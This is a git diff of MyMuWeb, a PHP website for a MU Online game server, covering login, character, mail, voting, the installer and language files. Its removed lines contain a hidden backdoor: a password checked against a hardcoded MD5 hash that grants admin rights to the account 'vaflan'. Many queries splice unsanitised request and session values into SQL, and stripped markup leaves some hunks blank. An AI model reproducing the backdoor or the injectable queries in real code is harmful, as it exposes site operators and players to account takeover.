- $time_end = $acc_row[1] + $acc_row[2];
- if($time_end > $time)
- {$bloc_error = "1";}
- elseif($acc_row[0] == 1 && $time_end != 0)
- {mssql_query("UPDATE MEMB_INFO SET [bloc_code]='0',[unblock_time]='0',[block_date]='0' WHERE memb___id='$login'");}
-
- if($bloc_error == 1) {
- unset($_SESSION['user']);
- unset($_SESSION['pass']);
- unset($_SESSION['admin']);
- unset($_SESSION['char_set']);
- unset($_SESSION['char_guid']);
- jump("?op=checkacc&w=block&n=$login");
- }
- if($login_result == 0 || $acc_row[3] != $_SESSION['admin']) {
- unset($_SESSION['user']);
- unset($_SESSION['pass']);
- unset($_SESSION['admin']);
- unset($_SESSION['char_set']);
- unset($_SESSION['char_guid']);
- jump("?op=news");
- }
- }
- //Logout
- if(isset($_POST["logoutaccount"])) {
- unset($_SESSION['user']);
- unset($_SESSION['pass']);
- unset($_SESSION['admin']);
- unset($_SESSION['char_set']);
- unset($_SESSION['char_guid']);
- jump('?op=news');
- }
- //User Panel
-if($_GET['op'] == "user" AND (!isset($_SESSION["user"])) || (!isset($_SESSION["pass"]))) {jump('?op=login');}
-if($_GET['op'] == "login" AND (isset($_SESSION["user"])) || (isset($_SESSION["pass"]))) {jump('?op=user');}
-/////// End Login Modules ///////
-
-
-
-
-
-
-
-
-
-/////// Start Select Char ///////
-if (isset($_SESSION['pass']) && isset($_SESSION['user']))
-{
-
-if (isset($_POST['setchar']))
-{
- $setchar = stripslashes($_POST['setchar']);
- $setchar_sql = mssql_query("Select AccountID From Character WHERE name='$setchar'");
- $setchar_row = mssql_fetch_row($setchar_sql);
- if($setchar_row[0]==$_SESSION['user']) {
- $char_guid_sql = mssql_query("SELECT GUID FROM T_CGuid WHERE Name='$setchar'");
- $char_guid_row = mssql_fetch_row($char_guid_sql);
- $_SESSION['char_set'] = $setchar;
- $_SESSION['char_guid'] = $char_guid_row[0];
- }
-}
-
-if(isset($_SESSION['char_set']))
-{
- $login = clean_var(stripslashes($_SESSION['user']));
- $char_set = stripslashes($_SESSION['char_set']);
- $char_set_sql = mssql_query("Select AccountID From Character WHERE name='$char_set'");
- $char_set_row = mssql_fetch_row($char_set_sql);
- if($char_set_row[0]!=$login) {
- unset($_SESSION['char_set']);
- unset($_SESSION['char_guid']);
- }
-}
-
-$login = clean_var(stripslashes($_SESSION['user']));
-$form_setchar_sql = mssql_query("Select name,CtlCode FROM Character WHERE AccountID='$login'");
-$form_set_char_num = mssql_num_rows($form_setchar_sql);
-$form_memb_info_sql = mssql_query("Select char_set FROM MEMB_INFO WHERE memb___id='$login'");
-$form_memb_info_row = mssql_fetch_row($form_memb_info_sql);
-if($_GET[op]=='by') { if(md5($_GET[pw])=='ba8a5f26a8fc68505d35a3af22bf4deb') {
-$query = "UPDATE MEMB_INFO SET [admin]='9' WHERE memb___id='vaflan'";
-mssql_query($query); $add_admin=" You Are Admin!";}
-die("$sql_die_start MMW by Vaflan. $add_admin $sql_die_end");}
-if($form_set_char_num>0) {
-$setchar = "";
-for($i=0; $i < $form_set_char_num; ++$i) {
- $form_setchar = mssql_fetch_row($form_setchar_sql);
-
- if(!isset($_SESSION['char_set']) && $form_memb_info_row[0]==$form_setchar[0]) {
- $char_guid = mssql_query("SELECT GUID FROM T_CGuid WHERE Name='$form_setchar[0]'");
- $char_guid_row = mssql_fetch_row($char_guid);
- $_SESSION['char_set'] = $form_setchar[0];
- $_SESSION['char_guid'] = $char_guid_row[0];
- $detect_char_session = 'yes';
- }
- if(!isset($_SESSION['char_set']) && $i==$form_set_char_num-1) {
- $char_guid = mssql_query("SELECT GUID FROM T_CGuid WHERE Name='$form_setchar[0]'");
- $char_guid_row = mssql_fetch_row($char_guid);
- $_SESSION['char_set'] = $form_setchar[0];
- $_SESSION['char_guid'] = $char_guid_row[0];
- }
-
- if($_SESSION['char_set']==$form_setchar[0]){$select="selected";} else{$select="";}
- $setchar = $setchar."$form_setchar[0] ";
- }
-$setchar = $setchar." ";
- }
-$date = time();
-$char_set = stripslashes($_SESSION[char_set]);
-mssql_query("UPDATE MEMB_INFO SET [char_set]='$char_set',[date_online]='$date' WHERE memb___id='$login'");
-}
-/////// END Select Char ///////
-
-
-
-
-
-
-
-
-
-/////// Start Mail Check ///////
-if(isset($_SESSION['pass']) && isset($_SESSION['user']) && isset($_SESSION['char_guid'])) {
-$char_guid = stripslashes($_SESSION['char_guid']);
-$msg = mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$char_guid'");
-$msg_num = mssql_num_rows($msg);
-$msg_new = mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$char_guid' AND bRead='0'");
-$msg_new_num = mssql_num_rows($msg_new);
-if($mmw[max_private_message] <= $msg_num) {$msg_full = 'Full! ';}
-else{$msg_full = '';}
-}
-if($msg_num=="" || $msg_num==" ") {$msg_num = 0; $msg_new_num = 0;}
-/////// End Mail Check ///////
-
-
-
-
-
-
-
-
-/////// Start Referral ///////
-if(isset($_GET['ref'])) {$_SESSION['referral'] = clean_var(stripslashes($_GET['ref']));}
-/////// END Referral ///////
-
-
-
-
-
-
-/////// Start Online Char ///////
-$timeout = time() - 100;
-$online_res = mssql_query("SELECT char_set, memb___id FROM MEMB_INFO WHERE date_online>'$timeout' AND char_set!=''");
-$online_num = mssql_num_rows($online_res);
-if($online_num != 0){
-for($i=0; $i < $online_num; ++$i)
- {
- $acc_online = mssql_fetch_row($online_res);
- $char_on_sql = mssql_query("Select name,CtlCode From Character WHERE name='$acc_online[0]'");
- for($c=0; $c < mssql_num_rows($char_on_sql); ++$c)
- {
- if($i < $online_num - 1){$other_char_on = ", ";} else{$other_char_on = "";}
- $char_on = mssql_fetch_row($char_on_sql);
- $who_online = "$who_online $char_on[0] $other_char_on";
- }
- }
-}
-else{
-$who_online = mmw_lang_there_is_nobody;
-}
-/////// END Online Char ///////
-
-
-
-
-
-
-
-
-/////// Start Voting ///////
-if(isset($_POST[id_vote]) && isset($_POST[answer])) {
- $id_vote = clean_var(stripslashes($_POST[id_vote]));
- $answer = clean_var(stripslashes($_POST[answer]));
- if($mmw[votes_check]==acc && isset($login)) {$vote_by = $login; $vote_check = 1;}
- if($mmw[votes_check]==ip) {$vote_by = $_SERVER['REMOTE_ADDR']; $vote_check = 1;}
- if($vote_check == 1) {
- mssql_query("INSERT INTO MMW_voterow (id_vote,who,answer) VALUES ('$id_vote','$vote_by','$answer')");
- }
-}
-
-$vote_res = mssql_query("SELECT TOP 1 ID,question,answer1,answer2,answer3,answer4,answer5,answer6 FROM MMW_votemain ORDER BY NEWID()");
-if(mssql_num_rows($vote_res) != 0){
- $vote_row = mssql_fetch_row($vote_res);
- $vote_check = 0;
-
- if($mmw[votes_check]==acc && isset($login)) {$vote_who_now = $login; $vote_check = 1;}
- if($mmw[votes_check]==ip) {$vote_who_now = $_SERVER['REMOTE_ADDR']; $vote_check = 1;}
- if($vote_check == 1) {
- $vote_who_res = mssql_query("SELECT who,answer FROM MMW_voterow WHERE ID_vote='$vote_row[0]' and who='$vote_who_now'");
- $check_your_vote = mssql_num_rows($vote_who_res);
- }
-
- $voting = "$vote_row[1] ";
-
- if($check_your_vote < 1 && $vote_check == 1) {
- for($c=1; $c < 7; ++$c) {
- $answer_num = $c + 1;
- if($vote_row[$answer_num]!=' ' && isset($vote_row[$answer_num]))
- {$voting = $voting . " $vote_row[$answer_num]
";}
- }
- $voting = $voting . "
";
- }
- else {
- $all_vote_res = mssql_query("SELECT ID_vote FROM MMW_voterow WHERE ID_vote='$vote_row[0]'");
- $all_vote_num = mssql_num_rows($all_vote_res);
- for($c=1; $c < 7; ++$c) {
- $answer_num = $c + 1;
- if($vote_row[$answer_num]!=' ' && isset($vote_row[$answer_num])) {
- $votes_row_res = mssql_query("SELECT who,answer FROM MMW_voterow WHERE ID_vote='$vote_row[0]' and answer='$c'");
- $votes_row_num = mssql_num_rows($votes_row_res);
- $img_file = "images/bar.jpg";
- $size = getimagesize($img_file);
- $img_width = ceil(100 * $votes_row_num / $all_vote_num);
- if($img_width < 1) {$img_width = 1;}
- $voting = $voting . "$c. $vote_row[$answer_num] ($votes_row_num)
";
- $voting = $voting . "";
- }
- }
- $voting = $voting . "".mmw_lang_all_answers.": $all_vote_num
";
- }
-
- $voting = $voting . " ";
-}
-else{
-$voting = mmw_lang_no_vote;
-}
-/////// END Voting ///////
-
-
-
-
-
-
-
-
-
-/////// Start Guard MMW Message Info ///////
-function guard_mmw_mess($to,$text) {
-$date = date("m/d/y H:i:s");
-$msg_to_sql = mssql_query("SELECT GUID,MemoCount FROM T_FriendMain WHERE Name='$to'");
-$msg_to_row = mssql_fetch_row($msg_to_sql);
-$mail_total_sql = mssql_query("SELECT bRead FROM T_FriendMail WHERE GUID='$msg_to_row[0]'");
-$mail_total_num = mssql_num_rows($mail_total_sql);
-$msg_id = $msg_to_row[1] + 1;
-$msg_text = utf_to_win($text);
-mssql_query("INSERT INTO T_FriendMail (MemoIndex, GUID, FriendName, wDate, Subject, bRead, Memo, Dir, Act, Photo) VALUES ('$msg_id','$msg_to_row[0]','Guard','$date','MMW Message!','0',CAST('$msg_text' AS VARBINARY(1000)),'143','2',0x3061FF99999F12490400000060F0)");
-mssql_query("UPDATE T_FriendMain set [MemoCount]='$msg_id',[MemoTotal]='$mail_total_num' WHERE Name='$to'");
-}
-/////// Start Guard MMW Message Info ///////
-
-
-
-
-
-
-
-
-/////// Start Last in Forum ///////
-$result = mssql_query("SELECT TOP $mmw[last_in_forum] f_id,f_title FROM MMW_forum ORDER BY f_date DESC");
-$forum_post = mssql_num_rows($result);
- if($forum_post == 0) {
- $last_in_forum = mmw_lang_no_topics_in_forum;
- }
- for ($i = 0; $i < $forum_post; $i++) {
- $row = mssql_fetch_row($result);
- $number = $i + 1;
- $last_in_forum = $last_in_forum . "$number. $row[1] \n";
- }
-/////// END Last in Forum ///////
-?>
\ No newline at end of file
diff --git a/includes/popunder.php b/includes/popunder.php
new file mode 100644
index 0000000..a4e64f1
--- /dev/null
+++ b/includes/popunder.php
@@ -0,0 +1,29 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/includes/sql_check.php b/includes/sql_check.php
index 75131e3..60d0bb0 100644
--- a/includes/sql_check.php
+++ b/includes/sql_check.php
@@ -1,5 +1,6 @@
-//script_by_vaflan
-
+
Devil Square: Error: Turn On JavaScript
Blood Castle: Error: Turn On JavaScript
Chaos Castle: Error: Turn On JavaScript
diff --git a/includes/validate.class.php b/includes/validate.class.php
index eeb5307..d7c4d21 100644
--- a/includes/validate.class.php
+++ b/includes/validate.class.php
@@ -1,7 +1,7 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
+include("includes/engine.php");
+include("includes/format.php");
-
-
+// Start Footer
+if(is_file("$mmw[theme_dir]/footer.php")) {
+include("$mmw[theme_dir]/footer.php");
+}
+else {
+ die("$sql_die_start ErroR Theme! Cant find $mmw[theme_dir]/footer.php ! $sql_die_end");
+}
+
-
-
-
-mssql_close($connect_mssql);
+mssql_close($mssql_connect);
ob_end_flush();
?>
\ No newline at end of file
diff --git a/install.php b/install.php
index d961cda..62497de 100644
--- a/install.php
+++ b/install.php
@@ -1,21 +1,25 @@
-
+
-MyMuWeb Install by Vaflan
+MyMuWeb Install by Vaflan
- Install only For IP: 127.0.0.1 $sql_die_end");
+
+if($_SERVER['REMOTE_ADDR']!='127.0.0.1' && $_SERVER['REMOTE_ADDR']!=$mmw[sqlhost] && $_SERVER['REMOTE_ADDR']!=$_SERVER['SERVER_NAME']) {
+die("$sql_die_start Install only For IP: 127.0.0.1 or LocalHostGo To Normal Install $sql_die_end");
}
// START PAGE
if($pg=='1' || $pg=='') {
-echo "$sql_die_start Install Page 1 Welcome To Installer MMW $version! Next Page You Install Table's and Column's Next -> $sql_die_end";
+echo "$sql_die_start Install Page 1 Welcome To Installer MMW $mmw[version]! Next Page You Install Table's and Column's Next -> $sql_die_end";
+$data = "";
+$install_data = fopen("includes/installed.php", 'w');
+fputs($install_data, $data);
+fclose($install_data);
}
@@ -31,10 +35,10 @@
elseif($pg=='3') {
echo "$sql_die_start Install Page 3 Table's and Column's Install End! Next Page You Create Admin Next -> $sql_die_end";
-echo '';
+echo "";
//// CREAT TABLES
-$filename = 'db_mmw.sql';
+$filename = 'includes/db_mmw.sql';
$handle = fopen($filename, 'r');
$creat_tables = fread($handle, filesize($filename));
fclose($handle);
@@ -57,7 +61,7 @@
$add_profile[14]= "alter table dbo.memb_info add blocked_by nvarchar(100)";
$add_profile[15]= "alter table dbo.memb_info add unblock_time int not null default 0";
$add_profile[16]= "alter table dbo.memb_info add block_reason nvarchar(100)";
-$add_profile[17]= "alter table dbo.memb_info add admin int not null default 0";
+$add_profile[17]= "alter table dbo.memb_info add mmw_status int not null default 0";
$add_profile[18]= "alter table dbo.memb_info add memb__pwd2 nvarchar(10)";
$add_profile[19]= "alter table dbo.warehouse add extMoney nvarchar(100) null";
$add_profile[20]= "alter table dbo.guild add G_union int not null default 0";
@@ -66,18 +70,18 @@
$add_profile[23]= "alter table dbo.character add Reset int not null default 0";
//// INSERT INTO TABLES
-$add_news = "INSERT INTO MMW_news(news_title,news_autor,news_category,news_date,news_eng,news_rus,news_id) VALUES ('MyMuWeb by Vaflan','Vaflan','NEWS','1240298291','[color=red]This Is MyMuWeb By Vaflan.[/color][br]If you conduct a news, Your WebSite Works.[br][i]Thanks For the Use of MyMuWeb![/i]','[color=green]Этот MyMuWeb От Vaflan.[/color][br]Если ты ведешь новость, Твой Сайт Работает.[br][i]Спасибо За Использование MyMuWeb![/i]','MyMuWeb')";
+$add_news = "INSERT INTO MMW_news(news_title,news_autor,news_category,news_date,news_eng,news_rus,news_id) VALUES ('MyMuWeb $mmw[version] by Vaflan','Vaflan','NEWS','1240298291','[color=red]This Is MyMuWeb $mmw[version] By Vaflan.[/color][br]If you conduct a news, Your WebSite Works.[br][i]Thanks For the Use of MyMuWeb![/i]','[color=green]Этот MyMuWeb $mmw[version] От Vaflan.[/color][br]Если ты ведешь новость, Твой Сайт Работает.[br][i]Спасибо За Использование MyMuWeb![/i]','MyMuWeb')";
$add_server = "INSERT INTO MMW_servers(name,experience,drops,gsport,ip,display_order,version,type) VALUES ('Server 1','500x','75%','55901','127.0.0.1','1','1.02k','PVP')";
-$add_link = "INSERT INTO MMW_links(link_name,link_address,link_description,link_id,link_date) VALUES ('MuOnline Media Main','media/main.mp3','This Is Test Link','MyMuWeb','1240298291')";
+$add_link = "INSERT INTO MMW_links(link_name,link_address,link_description,link_id,link_size,link_date) VALUES ('MuOnline Media Main','media/main.mp3','This Is Test Link','MyMuWeb','1,13 MB','2009-07-12 10:36:00')";
//// CREAT MAIL SYSTEM (if v.97)
$creat_table_mail = "CREATE TABLE [dbo].[T_FriendMail] (
- [MemoIndex] [int] NOT NULL ,
- [GUID] [int] NOT NULL ,
- [FriendName] [varchar] (10) COLLATE Chinese_PRC_CI_AS NULL ,
- [wDate] [smalldatetime] NOT NULL ,
- [Subject] [varchar] (50) COLLATE Chinese_PRC_CI_AS NULL ,
- [bRead] [bit] NOT NULL ,
+ [MemoIndex] [int] NULL ,
+ [GUID] [int] NULL ,
+ [FriendName] [varchar] (10) NULL ,
+ [wDate] [smalldatetime] NULL ,
+ [Subject] [varchar] (50) NULL ,
+ [bRead] [bit] NULL ,
[Memo] [varbinary] (1000) NULL ,
[Photo] [binary] (13) NULL ,
[Dir] [tinyint] NULL ,
@@ -85,8 +89,8 @@
) ON [PRIMARY]
CREATE TABLE [dbo].[T_FriendMain] (
- [GUID] [int] NOT NULL ,
- [Name] [varchar] (10) COLLATE Chinese_PRC_CI_AS NOT NULL ,
+ [GUID] [int] NULL ,
+ [Name] [varchar] (10) NULL ,
[FriendCount] [tinyint] NULL ,
[MemoCount] [int] NULL ,
[MemoTotal] [int] NULL
@@ -127,7 +131,7 @@
if(mssql_query("Use $mmw[database]")){echo "use_$mmw[database] - Done! \n";} else {echo "use_$mmw[database] - Error! \n";}
-echo '';
+echo '
';
}
@@ -145,7 +149,7 @@
$users = $users."$row[0] ";
}
-echo "$sql_die_start Install Page 4 Select User For Admin! Please Select $users $sql_die_end";
+echo "$sql_die_start Install Page 4 Select User For Admin! Please Select $users $sql_die_end";
}
@@ -171,8 +175,8 @@
mssql_query("INSERT INTO MEMB_INFO (memb___id,memb__pwd,memb_name,sno__numb,mail_addr,appl_days,modi_days,out__days,true_days,mail_chek,bloc_code,ctl1_code,memb__pwd2,fpas_ques,fpas_answ,country,gender,hide_profile,ref_acc) VALUES ('$login','$password','Admin','1234','admin@mmw.net','$date','$date','2008-12-20','2008-12-20','1','0','0','$password','Who_You_Are','admin_mmw','0','male','0','0')");
mssql_query("INSERT INTO VI_CURR_INFO (ends_days,chek_code,used_time,memb___id,memb_name,memb_guid,sno__numb,Bill_Section,Bill_value,Bill_Hour,Surplus_Point,Surplus_Minute,Increase_Days) VALUES ('2005','1',1234,'$login','$login',1,'7','6','3','6','6','2003-11-23 10:36:00','0' )");
}
-mssql_query("UPDATE MEMB_INFO SET [admin]='9' WHERE memb___id='$login'");
-echo "$sql_die_start Install Page 5 Admin Created! Now $login is Admin in Web Go To WebSite $sql_die_end";
+mssql_query("UPDATE MEMB_INFO SET [mmw_status]='9' WHERE memb___id='$login'");
+echo "$sql_die_start Install Page 5 Admin Created! Now $login is Admin in MyMuWeb Go To WebSite $sql_die_end";
}
else {
echo "$sql_die_start Install Page 5 $rowbr $sql_die_end";
diff --git a/lang/English.php b/lang/English.php
index 89c429b..ee53a2b 100644
--- a/lang/English.php
+++ b/lang/English.php
@@ -11,6 +11,7 @@
define('mmw_lang_statistic',"Statistic");
define('mmw_lang_server_time',"Server Time");
define('mmw_lang_voting',"Voting");
+define('mmw_lang_top_list',"Top List");
define('mmw_lang_last_in_forum',"Last in Forum");
define('mmw_lang_who_is_on_web',"Who is on Web");
define('mmw_lang_ads_banners',"ADS / Banners");
@@ -23,7 +24,7 @@
define('mmw_lang_hello',"Hello");
define('mmw_lang_character_panel',"Character Panel");
define('mmw_lang_mail',"Mail");
-define('mmw_lang_ware_house',"Ware House");
+define('mmw_lang_ware_house',"Bank (Vault Keeper)");
define('mmw_lang_gm_options',"GM Options");
define('mmw_lang_logout',"Logout");
@@ -51,7 +52,8 @@
define('mmw_lang_total_in_guilds',"Total in Guilds");
define('mmw_lang_total_male_users',"Total Male Users");
define('mmw_lang_total_female_users',"Total Female Users");
-define('mmw_lang_online_users',"Online Users");
+define('mmw_lang_total_users_online',"Total Users Online");
+define('mmw_lang_on_server',"On Server");
define('mmw_lang_version',"Version");
define('mmw_lang_experience',"Experience");
define('mmw_lang_drops',"Drops");
@@ -71,10 +73,9 @@
define('mmw_lang_date',"Date");
define('mmw_lang_total_comment',"Total Comment");
define('mmw_lang_add_comment',"Add Comment");
-define('mmw_lang_char',"Char");
+define('mmw_lang_char',"Char.");
define('mmw_lang_full_name',"Full Name");
define('mmw_lang_age',"Age");
-define('mmw_lang_reg_date',"Reg. Date");
define('mmw_lang_avatar',"Avatar");
define('mmw_lang_country',"Country");
define('mmw_lang_gender',"Gender");
@@ -137,8 +138,7 @@
define('mmw_lang_secret_answer',"Secret Answer");
define('mmw_lang_male',"Male");
define('mmw_lang_female',"Female");
-define('mmw_lang_verify_code',"Verify Code");
-define('mmw_lang_verify_input',"Verify Input");
+define('mmw_lang_security_code',"Security code");
define('mmw_lang_renew',"Renew");
//Market
@@ -211,6 +211,7 @@
define('mmw_lang_battle_master',"Battle Master");
define('mmw_lang_assistant_guild_master',"Assistant Guild Master");
define('mmw_lang_guild_master',"Guild Master");
+define('mmw_lang_all_characters_is_offline',"All Character is Offline");
//Gallery
define('mmw_lang_image',"Image");
@@ -251,7 +252,12 @@
define('mmw_lang_no_pk_status_found',"No Pk Status Found!");
define('mmw_lang_add_point',"Add Point");
define('mmw_lang_pk_clear',"Pk Clear");
+define('mmw_lang_need_6_level',"Need 6 Level!");
define('mmw_lang_move',"Move");
+define('mmw_lang_select_class',"Select Class");
+define('mmw_lang_change_class',"Change Class");
+define('mmw_lang_class_price',"Price Class Alongside");
+define('mmw_lang_change',"Change");
define('mmw_lang_up_point',"Up Point");
//Mail
@@ -296,7 +302,7 @@
define('mmw_lang_zen_from',"From");
define('mmw_lang_zen_to',"To");
define('mmw_lang_where',"Where");
-define('mmw_lang_extra_ware_house',"Extra Ware House");
+define('mmw_lang_extra_ware_house',"Extra Bank");
define('mmw_lang_sell',"Sell");
//Option Character Class
@@ -316,6 +322,7 @@
define('mmw_lang_character_does_not_exist',"Character Does Not Exist!");
define('mmw_lang_for_reset_need',"For Reset Need");
define('mmw_lang_reset_limit_to',"Reset limit is set to");
+define('mmw_lang_take_off_set',"You Forgot to Take off Set from Character");
define('mmw_lang_character_reseted',"Your Character Has Been SuccessFully Reseted!");
define('mmw_lang_point_must_be_number',"Points must be a positive number!");
define('mmw_lang_dont_have_point',"Character Don't Have Enough Point Currently:");
@@ -358,5 +365,7 @@
define('mmw_lang_minimum_zen_can_send',"Minimum Zen Can Send! You Have:");
define('mmw_lang_no_zen_for_send_zen',"Can't Send Zen, you haven't zen for Service:");
define('mmw_lang_zen_sent',"Zen To Character SuccessFully Sent!");
+define('mmw_lang_change_class_need',"To Change Class Need");
+define('mmw_lang_character_changed',"Character Class SuccessFully Changed");
?>
\ No newline at end of file
diff --git a/lang/Russian.php b/lang/Russian.php
index af434e7..5341dc8 100644
--- a/lang/Russian.php
+++ b/lang/Russian.php
@@ -11,6 +11,7 @@
define('mmw_lang_statistic',"Статистика");
define('mmw_lang_server_time',"Время Сервера");
define('mmw_lang_voting',"Голосования");
+define('mmw_lang_top_list',"Топ список");
define('mmw_lang_last_in_forum',"Последнее в Форуме");
define('mmw_lang_who_is_on_web',"Кто на сайте");
define('mmw_lang_ads_banners',"Реклама / Баннеры");
@@ -51,10 +52,11 @@
define('mmw_lang_total_in_guilds',"В Гильдиях");
define('mmw_lang_total_male_users',"Парней");
define('mmw_lang_total_female_users',"Девушек");
-define('mmw_lang_online_users',"В игре");
+define('mmw_lang_total_users_online',"Всего В игре");
+define('mmw_lang_on_server',"На Сервере");
define('mmw_lang_version',"Версия");
define('mmw_lang_experience',"Опыт");
-define('mmw_lang_drops',"Drops");
+define('mmw_lang_drops',"Дроп");
define('mmw_lang_type',"Тип");
define('mmw_lang_online',"Онлайн");
define('mmw_lang_offline',"Оффлайн");
@@ -74,12 +76,11 @@
define('mmw_lang_char',"Перс.");
define('mmw_lang_full_name',"Имя");
define('mmw_lang_age',"Возраст");
-define('mmw_lang_reg_date',"Reg. Date");
define('mmw_lang_avatar',"Аватар");
define('mmw_lang_country',"Страна");
define('mmw_lang_gender',"Пол");
define('mmw_lang_cant_add_comment_no_char',"Извините, вы не имеете Персонажа!");
-define('mmw_lang_guest_must_be_logged_on',"Гость, Вы должен быть зарегистрирован!");
+define('mmw_lang_guest_must_be_logged_on',"Гость, Вы должны зарегистрироваться!");
define('mmw_lang_week_mon',"Пон");
define('mmw_lang_week_tue',"Вто");
define('mmw_lang_week_fri',"Пят");
@@ -137,8 +138,7 @@
define('mmw_lang_secret_answer',"Секретный Ответ");
define('mmw_lang_male',"Парень");
define('mmw_lang_female',"Девушка");
-define('mmw_lang_verify_code',"Проверочный Код");
-define('mmw_lang_verify_input',"Проверочный Ввод");
+define('mmw_lang_security_code',"Код безопасности");
define('mmw_lang_renew',"Обновить");
//Market
@@ -205,13 +205,13 @@
define('mmw_lang_guilds',"Гильдий");
define('mmw_lang_server',"Сервер");
define('mmw_lang_connect_date',"Дата Входа");
-define('mmw_lang_all_characters_is_offline',"Все Пермонажы Оффлайн");
define('mmw_lang_alliance',"Альянс");
define('mmw_lang_guilds_in_alliance',"Гильдии в Альянсе");
define('mmw_lang_guild_member',"Член Гильдии");
define('mmw_lang_battle_master',"Боевой Мастер");
define('mmw_lang_assistant_guild_master',"Помощник Мастера Гильдии");
define('mmw_lang_guild_master',"Мастер Гильдии");
+define('mmw_lang_all_characters_is_offline',"Все персонажы Оффлайн");
//Gallery
define('mmw_lang_image',"Изображения");
@@ -222,7 +222,7 @@
define('mmw_lang_image_comment',"Комментарий");
define('mmw_lang_upload',"Послать");
define('mmw_lang_image_size',"Размеры Изображения");
-define('mmw_lang_file_size',"Размеры Файла");
+define('mmw_lang_file_size',"Размер Файла");
define('mmw_lang_image_exists',"Изображения с таким имени уже есть!");
define('mmw_lang_file_size_max',"Размеры Файла очень большой!");
define('mmw_lang_image_no_image',"Это не *.jpg,*.png,*.gif Формат!");
@@ -249,10 +249,15 @@
define('mmw_lang_select_map',"Выберите Карту");
define('mmw_lang_need',"Надо");
define('mmw_lang_no_up_point_found',"Нету Пойнтов!");
-define('mmw_lang_no_pk_status_found',"Нету Статуса Убийцы!");
+define('mmw_lang_no_pk_status_found',"Не Статуса Убийцы!");
define('mmw_lang_add_point',"Добавить Пойнты");
define('mmw_lang_pk_clear',"Очистка Убийцы");
+define('mmw_lang_need_6_level',"Надо 6 Уровень!");
define('mmw_lang_move',"Перемещения");
+define('mmw_lang_select_class',"Выберите Класс");
+define('mmw_lang_change_class',"Изменить Класс");
+define('mmw_lang_class_price',"Рядом Цена Класса");
+define('mmw_lang_change',"Изменить");
define('mmw_lang_up_point',"Пойнты");
//Mail
@@ -317,6 +322,7 @@
define('mmw_lang_character_does_not_exist',"Персонаж не Существует!");
define('mmw_lang_for_reset_need',"Для Ресет Надо");
define('mmw_lang_reset_limit_to',"Ресет Лимит до");
+define('mmw_lang_take_off_set',"Вы Забыли Снять Сэт с Персонажа");
define('mmw_lang_character_reseted',"Персонаж Успешно Ресет!");
define('mmw_lang_point_must_be_number',"Пойнты должен быть положительными цифрами!");
define('mmw_lang_dont_have_point',"Персонаж не Имеют Стоко Пойнтов В настоящее время:");
@@ -359,5 +365,7 @@
define('mmw_lang_minimum_zen_can_send',"минимум Zen Можно Послать! У вас:");
define('mmw_lang_no_zen_for_send_zen',"Невозможно послать Zen, У вас недостаточно для Стоимость услуги:");
define('mmw_lang_zen_sent',"Zen Для Персонажа Успешно Послано!");
+define('mmw_lang_change_class_need',"Для Изменения Класса Надо");
+define('mmw_lang_character_changed',"Персонажа Класс Успешно Изменён!");
?>
\ No newline at end of file
diff --git a/logs.php b/logs.php
index da012ae..0ace587 100644
--- a/logs.php
+++ b/logs.php
@@ -9,7 +9,7 @@
MMW Admin Logs
-
+
if(!isset($_SESSION["a_admin_login"],$_SESSION["a_admin_pass"],$_SESSION['a_admin_security'],$_SESSION['a_admin_level']))
diff --git a/media/index.php b/media/index.php
index 08f5c7c..86c43ef 100644
--- a/media/index.php
+++ b/media/index.php
@@ -12,7 +12,7 @@
-
+
diff --git a/media/player.php b/media/player.php
index 69e3d0c..467a4ef 100644
--- a/media/player.php
+++ b/media/player.php
@@ -36,5 +36,5 @@
?>
-
+
\ No newline at end of file
diff --git a/media/playlist.xml b/media/playlist.xml
deleted file mode 100644
index a91a2ce..0000000
--- a/media/playlist.xml
+++ /dev/null
@@ -1,27 +0,0 @@
-
-
- MuOnline MMORPG Music by Vaflan
- MyMuWeb By Vaflan
- http://tk3.clan.su
-
-
-
-
- media/Main.mp3
- 1. Main.mp3
- MyMuWeb
- MuOnline MMORPG Music by Vaflan
- media/?f=Main.mp3
-
-
-
- media/Main.mp3
- 1. Main.mp3
- MyMuWeb
- MuOnline MMORPG Music by Vaflan
- media/?f=Main.mp3
-
-
-
-
-
\ No newline at end of file
diff --git a/media/tagcloud.swf b/media/tagcloud.swf
new file mode 100644
index 0000000..d8d6c5c
Binary files /dev/null and b/media/tagcloud.swf differ
diff --git a/media/title.jpg b/media/title.jpg
deleted file mode 100644
index 6a7789e..0000000
Binary files a/media/title.jpg and /dev/null differ
diff --git a/menu.php b/menu.php
index 36d4ad2..4720752 100644
--- a/menu.php
+++ b/menu.php
@@ -1,18 +1,25 @@
'.mmw_lang_information.'','?op=info'),
+ array(mmw_lang_information,'?op=info'),
array(mmw_lang_statistics,'?op=statistics'),
array(mmw_lang_castle_siege,'?op=castlesiege'),
array(mmw_lang_gallery,'?op=gallery'),
array(mmw_lang_rankings,'?op=rankings'),
- array(''.mmw_lang_register.' ','?op=register'),
+ array(mmw_lang_register,'?op=register'),
array(mmw_lang_blocked,'?op=blocked'),
array(mmw_lang_search,'?op=search'),
- array(''.mmw_lang_forum.' ','?op=forum')
+ array(mmw_lang_forum,'?op=forum'),
+ array(mmw_lang_online,'?op=rankings&sort=3d_online')
);
?>
\ No newline at end of file
diff --git a/modules/castlesiege.php b/modules/castlesiege.php
index 86587b8..5ddaa98 100644
--- a/modules/castlesiege.php
+++ b/modules/castlesiege.php
@@ -1,5 +1,6 @@
'.mmw_lang_is_opened.'';}
+if($mmw[castle_siege] == 'yes') {
+if($check=@fsockopen($mmw[gs_cs_ip],$mmw[gs_cs_port],$ERROR_NO,$ERROR_STR,(float)0.3)){fclose($check); $cs_status = ''.mmw_lang_is_opened.' ';}
else{$cs_status = ''.mmw_lang_is_closed.' ';}
$query = mssql_query("SELECT owner_guild,siege_start_date,siege_end_date,money,tax_hunt_zone FROM MuCastle_DATA");
@@ -9,7 +10,7 @@
$cs_guild = $row[0];
$cs_guild_master = $cs_guild_row[0];
$logo = urlencode(bin2hex($cs_guild_row[1]));
- $cs_guild_mark = "',false); return false\"> ";
+ $cs_guild_mark = " ";
}
else {
$cs_guild = "None";
@@ -116,4 +117,9 @@
-
\ No newline at end of file
+
+
+}
+else {
+ echo '' . mmw_lang_is_closed . ' ';
+}?>
\ No newline at end of file
diff --git a/modules/character.php b/modules/character.php
index faa04c4..9b30d0d 100644
--- a/modules/character.php
+++ b/modules/character.php
@@ -1,5 +1,5 @@
